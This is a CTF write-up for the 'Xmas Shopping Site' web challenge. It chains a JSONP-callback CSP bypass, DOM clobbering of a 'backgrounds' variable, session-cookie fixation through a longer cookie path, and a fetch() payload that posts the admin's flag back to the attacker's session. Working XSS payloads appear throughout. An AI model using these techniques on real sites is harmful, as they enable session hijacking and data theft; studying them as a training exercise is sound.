Like a few other members of KITCTF I participated in the 2020 Cyber Security Challenge Germany Qualification. This is a writeup for “Xmas Shopping Site”, one of the three web challenges that were part of the CTF.
Overview #
We are given a link to an online shop at http://xss.allesctf.net/. The subdomain already seems to be a hint that this is a client-side channel.
The site allows filtering the items using a search bar and adding items to our cart. In addition to this we can submit links for the admin to check and there is a link to “Stage2”:
The link looks like this http://stage2.xss.allesctf.net/?token=5ef8ecee6a1ef and if we change the token we can’t open the stage2 page.
Besides the “change background” button in the top right corner, this page is completely static.
Exploiting stage 1 #
The search form is not escaping HTML inputs at all and also includes the search term into the page:
<b>"<script>alert('test')</script>"</b> konnte nicht gefunden werden 🙁🙁🙁
This isn’t directly exploitable because of the CSP header of the page includes default-src 'self' http://*.xss.allesctf.net; which prevents script tags from being executed if they aren’t manually whitelisted in the CSP.
If we look at other resources loaded by the page we can see a call to /items.php?cb=parseItems. Assuming cb is short for callback this looks like a JSONP request. The response to this request looks like this
parseItems([{"title": "..."}])
which confirms our assumtion. We can combine this with the inital HTML injection vulnerability we found earlier to get a full XSS vulnerability:
<script src="/items.php?cb=alert('test')"></script>
This is allowed by the CSP since we don’t add the javascript code directly to the dom but load it from the whitelisted xss.allesctf.net domain.
Exploring stage 2 #
I assumed that with full code execution on stage 1 it should be easy to redirect the user to the second stage. Ignoring the token parameter and all potential problems I started to explore stage 2 independently from the previous one. Since the background change is the only dynamic element on the second stage I took a closer look at it.
The currently selected background theme is set as a hidden input element:
<!-- set bg color -->
<input type="hidden" id="bg" value="tree">
<script nonce="vGXr3XcAC1g67ZaCzeAvTCzPoHc=">
var backgrounds = {
'red': [
'<img class="bg-img" src="/static/img/red.png"></img>'
],
'green': [
'<img class="bg-img" src="/static/img/green.png"></img>'
],
'tree': [
'<img class="bg-img" src="/static/img/tree.png"></img>'
]
}
</script>
[...]
<!-- What is CORS? Baby don't hurt me, don't hurt me - no more! -->
<b>CSCG{XSS_THE_ADMIN_FOR_THE_REAL_FLAG:>}</b>
This value is read in the background.js script and the corresponding element gets added to the dom:
$(document).ready(() => {
$("body").append(backgrounds[$("#bg").val()]);
});
To change the background image a post request including the bg parameter is sent to the stage2 endpoint.
Exploiting stage2 #
We can set our own bg value by sending a post request to stage2. Like the search input in stage1 the bg value is not getting validated or escaped by the application. As a result we can modify the DOM of the page by setting a background like this:
beginngin of our injection"> <b>some new tags</b> <!-- end of our injection
The resulting DOM looks like this:
<input type="hidden" id="bg" value="beginngin of our injection"> <b>some new tags</b> <!-- end of our injection">
<script>
[...]
<!-- What is CORS? Baby don't hurt me, don't hurt me - no more! -->
<b>CSCG{XSS_THE_ADMIN_FOR_THE_REAL_FLAG:>}</b>
Stage 2 also has a CSP set that prevents us from using direclty executing code. In addtion to that it also prevents us from using the gadget we found in the previous stage to inject a script tag. But we can include a starting HTML comment tag to remove everything between the hidden input and the flag. Using a less known javascript features we can also create our own backgrounds array and include our own code that way:
innerHTML"><div id="backgrounds"><script>alert('test')</script></div> <!--
This achieves three things:
- Set the value of the
bg input to innerHTML
- Create a new div with the id
backgrounds and some javascript as content
- Start an HTML comment so everything until the comment is closed by the existing comment tag gets ignored by the browser
DOM elements that have an id attribute are available as global variables within javascript. So this
// $("#bg").val() returns innerHTML since thats what we set the input to
$("body").append(backgrounds['innerHTML']); // similar to backgrounds.innerHTML
appends the script we place in our div to the DOM. Because background.js is whitelisted in the CSP it is also allowed to create new script tags. This allows us to bypass the CSP and execute arbitrary javascript.
Combining the two #
Completing the challenge with this information is quite simple
- Send the admin a link to stage one with a malicious search parameter
- Use the code execution in stage1 to store the stage2 exploit in the admin’s
bg value
- Redirect the admin to stage2, the second exploit starts
- Read the flag and redirect the admin to a domain controlled by you. Include the flag in the URL
- Profit!
This is not what I did during the CTF :D Instead of storing the stage 2 payload in the admin’s session during stage 1, I stored it in my own session. My stage 1 exploit places a new session cookie in the admin’s browser so they “see” my malicious background when he visits stage 2:
// cookie and token are replaced with values from my session
document.cookie = 'PHPSESSID=${cookie};domain=.xss.allesctf.net;path=/index.php';
location.href='http://stage2.xss.allesctf.net/index.php?token=${token}
This was a bit tricky since the session cookie has the httpOnly flag set so we can’t modify it. This code sets a new cookie but with an path that is longer than the one by the default session cookie (/index.php vs /). As a result the browser preferse my cookie when the admin visits stage2.
The stage2 does not simply redirect the admin either, Instead I store the flag as new bg session value. Since the admin and I share a session I can retrieve the value in my browser:
nnerHTML"> <div id="backgrounds"><script>fetch(window.location.href, {
headers: {'Content-type': 'application/x-www-form-urlencoded'},
method: "POST",
credentials: "include",
body: 'bg=' + $('b').text()
});</script>
</div> <!-- a
Final words #
I’m always happy to see a client side web challenge and this was a really nice one. And once again I learned that I have to think simpler from time to time